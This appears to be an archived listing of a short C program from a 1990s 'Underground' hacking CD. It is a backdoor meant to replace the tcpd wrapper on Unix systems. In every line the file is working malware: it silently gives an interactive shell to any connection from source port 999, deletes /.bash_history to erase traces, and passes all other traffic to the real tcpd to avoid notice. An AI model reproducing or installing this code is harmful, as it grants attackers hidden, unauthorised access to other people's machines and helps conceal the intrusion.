home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / hack / PDFAQ.ZIP / tcpdback.c < prev    next >
Encoding:
C/C++ Source or Header  |  1998-03-09  |  655 b   |  28 lines

  1. // tcpdback.c - by Permssion Denied
  2. // hard to find backdoor with acces control
  3. // you must copy old tcpd to in.tcpd and replace it with this program
  4.  
  5. #include <stdio.h>
  6. #include <netinet/in.h>
  7. #include <sys/socket.h>
  8. #include <netdb.h>
  9. #include <errno.h>
  10.  
  11. #define EVIL_PORT 999
  12. #define OLD_TCPD "/usr/sbin/in.tcpd"
  13.  
  14. main (int argc, char **argv)
  15. {
  16.  struct sockaddr_in sind;
  17.  int size;
  18.   
  19.  remove("/.bash_history");
  20.  size = sizeof(sind);
  21.  if(getpeername(fileno(stdin), (struct sockaddr *) &sind, &size) != 0)
  22.   execv(OLD_TCPD, argv);
  23.  if(sind.sin_port == ntohs(EVIL_PORT)) {
  24.   execl("/bin/sh", "/bin/sh", "-i", NULL);
  25.   return;
  26.  }
  27.  execv(OLD_TCPD, argv);
  28. }